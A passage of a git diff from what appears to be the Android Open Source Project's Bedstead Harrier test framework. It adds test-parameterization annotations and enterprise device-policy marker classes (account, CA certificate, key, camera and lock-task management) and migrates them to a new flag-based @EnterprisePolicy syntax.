+public @interface IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnUnaffiliatedProfileOwnerSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnUnaffiliatedProfileOwnerSecondaryUser.java
new file mode 100644
index 0000000..6989195
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnUnaffiliatedProfileOwnerSecondaryUser.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.parameterized;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
+
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
+import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
+import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Parameterize a test so that it runs on an unaffiliated secondary user on a device with a
+ * Device Owner - with the profile owner set as primary.
+ */
+@Target({ElementType.METHOD, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@ParameterizedAnnotation
+@RequireRunOnSecondaryUser
+@EnsureHasDeviceOwner(affiliationIds = "affiliated")
+@EnsureHasProfileOwner(affiliationIds = "not-affiliated", isPrimary = true)
+public @interface IncludeRunOnUnaffiliatedProfileOwnerSecondaryUser {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/AccountManagement.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/AccountManagement.java
new file mode 100644
index 0000000..375ef7c
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/AccountManagement.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policy for account management tests.
+ *
+ * <p>This is used by {@link
+ * DevicePolicyManager#setAccountManagementDisabled(ComponentName, String, boolean)} and
+ * {@link DevicePolicyManager#getAccountTypesWithManagementDisabled()}.
+ */
+@EnterprisePolicy(dpc = APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER)
+public final class AccountManagement {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictions.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictions.java
new file mode 100644
index 0000000..9e30dad
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictions.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_IN_BACKGROUND;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.CAN_BE_DELEGATED;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.os.Bundle;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policy for application restrictions.
+ *
+ * <p>This is used by methods such as
+ * {@link DevicePolicyManager#setApplicationRestrictions(ComponentName, String, Bundle)} and
+ * {@link DevicePolicyManager#getApplicationRestrictions(ComponentName, String)}.
+ */
+@EnterprisePolicy(
+        dpc = {
+            APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND | CAN_BE_DELEGATED,
+            APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED},
+        delegatedScopes = DELEGATION_APP_RESTRICTIONS
+        )
+public final class ApplicationRestrictions {
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictionsManagingPackage.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictionsManagingPackage.java
new file mode 100644
index 0000000..379b071
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictionsManagingPackage.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_IN_BACKGROUND;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.os.Bundle;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policy for application restrictions.
+ *
+ * <p>This is used by the method
+ * {@link DevicePolicyManager#setApplicationRestrictionsManagingPackage(ComponentName, String, Bundle)}
+ */
+@EnterprisePolicy(
+        dpc = {
+                APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND,
+                APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER})
+public final class ApplicationRestrictionsManagingPackage {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/CaCertManagement.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/CaCertManagement.java
new file mode 100644
index 0000000..4a6d384
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/CaCertManagement.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policies around installing/uninstalling CaCerts
+ *
+ * <p>This is used by methods such as
+ * {@link DevicePolicyManager#installCaCert(ComponentName, byte[])} and
+ * {@link DevicePolicyManager#uninstallCaCert(ComponentName, byte[])}.
+ */
+@EnterprisePolicy(dpc = {APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER})
+public final class CaCertManagement {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/CameraPolicy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/CameraPolicy.java
new file mode 100644
index 0000000..4309473
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/CameraPolicy.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER_PROFILE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_GLOBALLY;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policy for application restrictions.
+ *
+ * <p>This is used by methods such as
+ * {@link DevicePolicyManager#setCameraDisabled(ComponentName, boolean)} and
+ * {@link DevicePolicyManager#getCameraDisabled(ComponentName)}.
+ */
+// TODO(b/201753989):  Update the profileOwner flag once the behaviour of setCameraDisabled
+//  is properly defined on secondary user POs.
+@EnterprisePolicy(dpc = {
+        APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO | APPLIES_GLOBALLY,
+        APPLIED_BY_PROFILE_OWNER_PROFILE | APPLIES_TO_OWN_USER
+})
+public class CameraPolicy {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/CreateAndManageUser.java
similarity index 62%
copy from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java
copy to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/CreateAndManageUser.java
index 0b7c557..c1c62c1 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/CreateAndManageUser.java
@@ -16,12 +16,21 @@
 
 package com.android.bedstead.harrier.policies;
 
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DeviceOwnerControl.NO;
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.ProfileOwnerControl.COPE_PARENT;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.os.PersistableBundle;
 
 import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
 
-/** Example Policy until real policies are added. */
-@EnterprisePolicy(profileOwner = COPE_PARENT, deviceOwner = NO)
-public class TestPolicy {
+/**
+ * Policy for create and manage user.
+ *
+ * <p>This is used by methods such as {@link DevicePolicyManager#createAndManageUser(
+ * ComponentName, String, ComponentName, PersistableBundle, int)}.
+ */
+@EnterprisePolicy(dpc = {APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER})
+public final class CreateAndManageUser {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DefaultSmsApplication.java
similarity index 61%
copy from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java
copy to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DefaultSmsApplication.java
index 0b7c557..c7d8f80 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DefaultSmsApplication.java
@@ -16,12 +16,20 @@
 
 package com.android.bedstead.harrier.policies;
 
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DeviceOwnerControl.NO;
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.ProfileOwnerControl.COPE_PARENT;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
 
 import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
 
-/** Example Policy until real policies are added. */
-@EnterprisePolicy(profileOwner = COPE_PARENT, deviceOwner = NO)
-public class TestPolicy {
+/**
+ * Policy for set default SMS application test.
+ *
+ * <p>This is used by {@link DevicePolicyManager#setDefaultSmsApplication(ComponentName, String)}.
+ */
+@EnterprisePolicy(dpc = APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER)
+public final class DefaultSmsApplication {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/Delegation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/Delegation.java
new file mode 100644
index 0000000..5bcde92
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/Delegation.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+import java.util.List;
+
+/**
+ * Policy for general admin delegation that doesn't have additional scope-specific constraints on
+ * the admin type. Specific delegations with these constraints have their own policies.
+ *
+ * <p>This is used for methods such as {@link
+ * DevicePolicyManager#setDelegatedScopes(ComponentName, String, List)}.
+ */
+@EnterprisePolicy(dpc = {APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER})
+public final class Delegation {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DisallowNetworkReset.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DisallowNetworkReset.java
index 7e9a56f..7a65974 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DisallowNetworkReset.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DisallowNetworkReset.java
@@ -16,14 +16,14 @@
 
 package com.android.bedstead.harrier.policies;
 
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DeviceOwnerControl.USER;
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.ProfileOwnerControl.NO;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_GLOBALLY;
 
 import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
 
 /** Policy for network reset test. */
 // TODO(b/189195534):  Update the profileOwner flag once support is added for the way this policy
 //  can be set by a Profile Owner
-@EnterprisePolicy(deviceOwner = USER, profileOwner = NO)
+@EnterprisePolicy(dpc = APPLIED_BY_DEVICE_OWNER | APPLIES_GLOBALLY)
 public final class DisallowNetworkReset {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DisallowPrivateDnsConfig.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DisallowPrivateDnsConfig.java
index cf8feb6..bb72f19 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DisallowPrivateDnsConfig.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DisallowPrivateDnsConfig.java
@@ -16,14 +16,14 @@
 
 package com.android.bedstead.harrier.policies;
 
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DeviceOwnerControl.USER;
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.ProfileOwnerControl.NO;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
 
 import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
 
 /** Policy for configuring private dns test. */
 // TODO(b/189195534):  Update the profileOwner flag once support is added for the way this policy
 //  can be set by a Profile Owner
-@EnterprisePolicy(deviceOwner = USER, profileOwner = NO)
+@EnterprisePolicy(dpc = APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER)
 public class DisallowPrivateDnsConfig {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/EnrollmentSpecificId.java
similarity index 61%
copy from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java
copy to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/EnrollmentSpecificId.java
index 0b7c557..2311c5e 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/EnrollmentSpecificId.java
@@ -16,12 +16,21 @@
 
 package com.android.bedstead.harrier.policies;
 
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DeviceOwnerControl.NO;
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.ProfileOwnerControl.COPE_PARENT;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
 
 import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
 
-/** Example Policy until real policies are added. */
-@EnterprisePolicy(profileOwner = COPE_PARENT, deviceOwner = NO)
-public class TestPolicy {
+/**
+ * Policy for testing enrollment specific ID.
+ * See {@link DevicePolicyManager#getEnrollmentSpecificId()} for more detail.
+ */
+@EnterprisePolicy(dpc = {
+        APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER,
+        APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER
+})
+public final class EnrollmentSpecificId {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/KeyManagement.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/KeyManagement.java
new file mode 100644
index 0000000..9d409e6
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/KeyManagement.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+import java.security.PrivateKey;
+import java.security.cert.Certificate;
+
+/**
+ * Policies around key management
+ *
+ * <p>This is used by methods such as
+ * {@link DevicePolicyManager#installKeyPair(ComponentName, PrivateKey, Certificate, String)} and
+ * {@link DevicePolicyManager#removeKeyPair(ComponentName, String)}.
+ */
+@EnterprisePolicy(dpc = {APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER,
+        APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER})
+public final class KeyManagement {
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/LockTask.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/LockTask.java
index 7da942a..a4e8124 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/LockTask.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/LockTask.java
@@ -16,8 +16,10 @@
 
 package com.android.bedstead.harrier.policies;
 
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DeviceOwnerControl.USER;
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.ProfileOwnerControl.AFFILIATED_OR_NO_DO;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_AFFILIATED_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
@@ -32,6 +34,7 @@
  * {@link DevicePolicyManager#setLockTaskFeatures(ComponentName, int)} and
  * {@link DevicePolicyManager#setLockTaskPackages(ComponentName, String[])}.
  */
-@EnterprisePolicy(deviceOwner = USER, profileOwner = AFFILIATED_OR_NO_DO)
+@EnterprisePolicy(dpc = {APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER,
+                    APPLIED_BY_AFFILIATED_PROFILE_OWNER | APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO | APPLIES_TO_OWN_USER})
 public final class LockTask {
-}
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/LockscreenPolicyWithUnifiedChallenge.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/LockscreenPolicyWithUnifiedChallenge.java
new file mode 100644
index 0000000..7a49b82
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/LockscreenPolicyWithUnifiedChallenge.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_PARENT;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Lockscreen policies, e.g. password quality, length, history length, attempts before wipe.
+ * Parent profile is affected only when work profile has unified challenge (i.e. no separate lock),
+ * which is why this policy has to be specific to this case.
+ *
+ * <p>This is used by methods such as
+ * {@link DevicePolicyManager#setPasswordQuality(ComponentName, int)}
+ */
+@EnterprisePolicy(dpc = {APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER,
+        APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER | APPLIES_TO_PARENT})
+public class LockscreenPolicyWithUnifiedChallenge {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/NetworkLoggingDelegation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/NetworkLoggingDelegation.java
new file mode 100644
index 0000000..ae4dfcd
--- /dev/null
